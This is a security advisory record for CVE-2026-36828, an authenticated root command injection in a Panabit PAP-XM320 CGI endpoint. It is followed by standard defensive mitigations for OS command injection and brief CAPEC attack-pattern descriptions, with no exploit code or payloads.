Vulnerability from github – Published: 2026-05-19 18:32 – Updated: 2026-05-19 21:32A command injection vulnerability exists in the /cgi-bin/tools/ajax_cmd endpoint of Panabit PAP-XM320 up to and including v7.7. The CGI component allows authenticated users to execute arbitrary shell commands with root privileges via the action=runcmd parameter.
{
"affected": [],
"aliases": [
"CVE-2026-36828"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T17:16:22Z",
"severity": "HIGH"
},
"details": "A command injection vulnerability exists in the /cgi-bin/tools/ajax_cmd endpoint of Panabit PAP-XM320 up to and including v7.7. The CGI component allows authenticated users to execute arbitrary shell commands with root privileges via the action=runcmd parameter.",
"id": "GHSA-wppq-8vc8-2347",
"modified": "2026-05-19T21:32:03Z",
"published": "2026-05-19T18:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36828"
},
{
"type": "WEB",
"url": "https://secreu.notion.site/CVE-2026-36828-3652c0ab461580f28f50ddc37ce4e1d6"
},
{
"type": "WEB",
"url": "https://www.panabit.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.